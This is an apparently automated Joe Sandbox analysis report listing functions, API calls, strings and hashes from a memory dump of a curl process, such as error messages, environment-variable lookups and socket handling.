Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: closesocket$acceptgetsocknameioctlsocket
String ID: Connection accepted from server$Error accept()ing server connect
API String ID: 3840160814-2331703088
Opcode ID: 88562fdbafe55e8d6a9d505f9850626b200f6a31b7d61cd46c5154e1a9afd2d0
Instruction ID: fb07f14cbe875d03e3be7f1f46190f8ea456a6da1ba2ff44e7c65905aef0c0a1
Opcode Fuzzy Hash: 88562fdbafe55e8d6a9d505f9850626b200f6a31b7d61cd46c5154e1a9afd2d0
Instruction Fuzzy Hash: D731B7706087459BD720DF34DC84FEBB7DDAB80310F00491AF9A692282DB75E9498762

Function 001CD580 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,?,001CD759), ref: 001CD587

Strings

The directory name %s is too long., xrefs: 001CD60A
No space left on the file system that will contain the directory %s., xrefs: 001CD59F
You don't have permission to create %s., xrefs: 001CD5B2
Error creating directory %s., xrefs: 001CD5E4
%s resides on a read-only file system., xrefs: 001CD5C5
Cannot create directory %s because you exceeded your quota., xrefs: 001CD5F7

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLast
String ID: %s resides on a read-only file system.$Cannot create directory %s because you exceeded your quota.$Error creating directory %s.$No space left on the file system that will contain the directory %s.$The directory name %s is too long.$You don't have permission to create %s.
API String ID: 1452528299-798752981
Opcode ID: 560b32ca4a8323e5a53b4964a4e0e2d8c960b5d59e5abccdd8bd8f769f675b27
Instruction ID: 434537500e84646f374b019363757d6a672eacd19f511a10addf5e901d645a89
Opcode Fuzzy Hash: 560b32ca4a8323e5a53b4964a4e0e2d8c960b5d59e5abccdd8bd8f769f675b27
Instruction Fuzzy Hash: C2014FABB4112021C42D250E7C4AEEF5B29C8F67F7724097FF50AD05A2AB84C5D6F1B2

Function 001CBA00 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(CURL_HOME,00000400,00000400), ref: 001CBA23
GetEnvironmentVariableA.KERNEL32(HOME,00000400,00000400), ref: 001CBA56

Strings

APPDATA, xrefs: 001CBA7C
CURL_HOME, xrefs: 001CBA1E
HOME, xrefs: 001CBA51
%USERPROFILE%\Application Data, xrefs: 001CBA8C

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: EnvironmentVariable
String ID: %USERPROFILE%\Application Data$APPDATA$CURL_HOME$HOME
API String ID: 1431749950-734137483
Opcode ID: 27ff6f6e94c45c8f5c4640ce19ede00c0c3d1b6118efcf1311ab8d83a4d4e66b
Instruction ID: 8047a5de930f49a9c6e7b362c2b77120618795a41d5d7ba51ab79715333276d3
Opcode Fuzzy Hash: 27ff6f6e94c45c8f5c4640ce19ede00c0c3d1b6118efcf1311ab8d83a4d4e66b
Instruction Fuzzy Hash: 750192E0A0C2415AE729B764D9C7FAEB28DDF68704F44082EE7C5C6191E778D9848A53

Function 002C35EE Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,002C36B7,?), ref: 002C3608
GetProcAddress.KERNEL32(00000000), ref: 002C360F
EncodePointer.KERNEL32(00000000), ref: 002C361B
DecodePointer.KERNEL32(00000001,002C36B7,?), ref: 002C3638

Strings

combase.dll, xrefs: 002C3603
RoInitialize, xrefs: 002C35F7

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 3489934621-340411864
Opcode ID: d3f959c1520e77901855a2c867698c5dbd70080e1719e0020e4fcb85c58371ab
Instruction ID: 95493b8bfb00c5b5a086576afd0d1adc7217b6c5cd5b1e5eff2be7bc397d7389
Opcode Fuzzy Hash: d3f959c1520e77901855a2c867698c5dbd70080e1719e0020e4fcb85c58371ab
Instruction Fuzzy Hash: 16E092709A6B01AADB105F78FC4DB907A59A750717F509455F001D11F0D7F04845CA58

Function 002C36C3 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,002C35DD), ref: 002C36DD
GetProcAddress.KERNEL32(00000000), ref: 002C36E4
EncodePointer.KERNEL32(00000000), ref: 002C36EF
DecodePointer.KERNEL32(002C35DD), ref: 002C370A

Strings

combase.dll, xrefs: 002C36D8
RoUninitialize, xrefs: 002C36CC

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: 558fdbb3652e3baa4aafbb6a698aae301f3ac210eb787f29a83baf3e755edf75
Instruction ID: 655ac908f6af7e2fccbd8c2865e763013dcf9fff41b55f4ffac48161ba45aea5
Opcode Fuzzy Hash: 558fdbb3652e3baa4aafbb6a698aae301f3ac210eb787f29a83baf3e755edf75
Instruction Fuzzy Hash: A5E046F09A9B00EBEB218F28FC4CB00BB68B74071AF50DA5AF005D11A0CBB08819CF64

Function 001DEFB0 Relevance: 9.1, APIs: 6, Instructions: 83networkCOMMON

Download Yara Rule

APIs

Part of subcall function 002085F0: getaddrinfo.WS2_32(?,?,?,?), ref: 0020860B
Part of subcall function 002085F0: freeaddrinfo.WS2_32(?,?,?,?,?,?,?,?,00000000), ref: 00208710

WSAGetLastError.WS2_32 ref: 001DF004
WSAGetLastError.WS2_32 ref: 001DF00A
EnterCriticalSection.KERNEL32(?), ref: 001DF021
LeaveCriticalSection.KERNEL32(?), ref: 001DF02F
DeleteCriticalSection.KERNEL32(00000000), ref: 001DF03C
LeaveCriticalSection.KERNEL32(?), ref: 001DF087

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: CriticalSection$ErrorLastLeave$DeleteEnterfreeaddrinfogetaddrinfo
String ID:
API String ID: 2133702940-0
Opcode ID: dc6e68940d829040d8730ef45d58e90742851c7168de3c747e567185e6bb38ef
Instruction ID: 7768405aa9cb9becabd5942d1c560fcb0c9b0443a07aacc16b74e8c71bffeede
Opcode Fuzzy Hash: dc6e68940d829040d8730ef45d58e90742851c7168de3c747e567185e6bb38ef
Instruction Fuzzy Hash: A8218C716017419BD720EF24DC49B57B7EAFF88304F01892EF59A83252DB71EA15CBA1

Function 001DF270 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68COMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,?,?,001DD2A7), ref: 001DF288
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 001DF296

Strings

proxy, xrefs: 001DF301, 001DF31D
Could not resolve %s: %s, xrefs: 001DF31E
host, xrefs: 001DF30D

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: CloseHandleObjectSingleWait
String ID: Could not resolve %s: %s$host$proxy
API String ID: 528846559-2205167006
Opcode ID: be6f242b2a88d1a1056aba0ae155e9824faee46c987d0438d804a34a581c08e3
Instruction ID: 4d08de1e0627206b29866fa19f93a7b20b916fa6539d8416f97fb1501f70cbae
Opcode Fuzzy Hash: be6f242b2a88d1a1056aba0ae155e9824faee46c987d0438d804a34a581c08e3
Instruction Fuzzy Hash: 9E21D1B42052449FDB119F28C8847A97BE4FB48314F5841BEFD468F386D7719946CB68

Function 002CD794 Relevance: 7.7, APIs: 5, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03e8a90d79a51bbc415fac89c4d28e0f87b842b9088f2f1b737816c49d8b58c0
Instruction ID: 9668a85adcb710003ddee01ec43b0522308eab474ba750b3b603d18cb0a505e1
Opcode Fuzzy Hash: 03e8a90d79a51bbc415fac89c4d28e0f87b842b9088f2f1b737816c49d8b58c0
Instruction Fuzzy Hash: D271BF399202179BCF219F698884FBEBBB5EF91350F14473EE85567190D7709C22CB91

Function 002C1A1E Relevance: 7.6, APIs: 5, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17c7762cf400b01fd271147ca7c41044a851820099dc1abd0e86f0797cc3918d
Instruction ID: 7947e41ac130d09cf4b2f90d0455228f7d3b122fd00448e4e73a3ded827d12f0
Opcode Fuzzy Hash: 17c7762cf400b01fd271147ca7c41044a851820099dc1abd0e86f0797cc3918d
Instruction Fuzzy Hash: BA513E39D21209AACB01EFE4D845BEEB7B8FF09710F14421AE815E7251EB70DE61CB65

Function 00284E70 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 131COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000,?,?,?), ref: 00284EB9

Strings

..\..\openssl\openssl\crypto\evp\evp_lib.c, xrefs: 002851AB
mac_size <= MAX_MAC_SIZE, xrefs: 0028521E
..\..\openssl\openssl\ssl\s2_pkt.c, xrefs: 00285228
..\..\openssl\openssl\ssl\s2_pkt.c, xrefs: 002851C6

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLast
String ID: ..\..\openssl\openssl\crypto\evp\evp_lib.c$..\..\openssl\openssl\ssl\s2_pkt.c$..\..\openssl\openssl\ssl\s2_pkt.c$mac_size <= MAX_MAC_SIZE
API String ID: 1452528299-292904039
Opcode ID: d6affa39516a76da51fc1bf95489a962c6621c5b0abbf1338e4f94042c7ab63f
Instruction ID: af2bba7682c0e79f0b103511cd9d966a21753b613d18fc86ba6e55f470edabb5
Opcode Fuzzy Hash: d6affa39516a76da51fc1bf95489a962c6621c5b0abbf1338e4f94042c7ab63f
Instruction Fuzzy Hash: 7441D234611B018FE320EF08C985B66B7E2FF84718F54452DE64A4BAD1D7B5EC65CB41

Function 002C4046 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

AreFileApisANSI.KERNEL32(001C5539,00000109,00000000,?,002C38E3,?,00000000,00000000,?,002C387A,002C0DD6,001C5539,?,001C5539,?,00000040), ref: 002C4079
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,001C5539,00000109,00000000,?,002C38E3,?,00000000,00000000,?,002C387A), ref: 002C4093
GetLastError.KERNEL32(?,002C38E3,?,00000000,00000000,?,002C387A,002C0DD6,001C5539,?,001C5539,?,00000040,00000000,00307B60,00000014), ref: 002C40A0

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
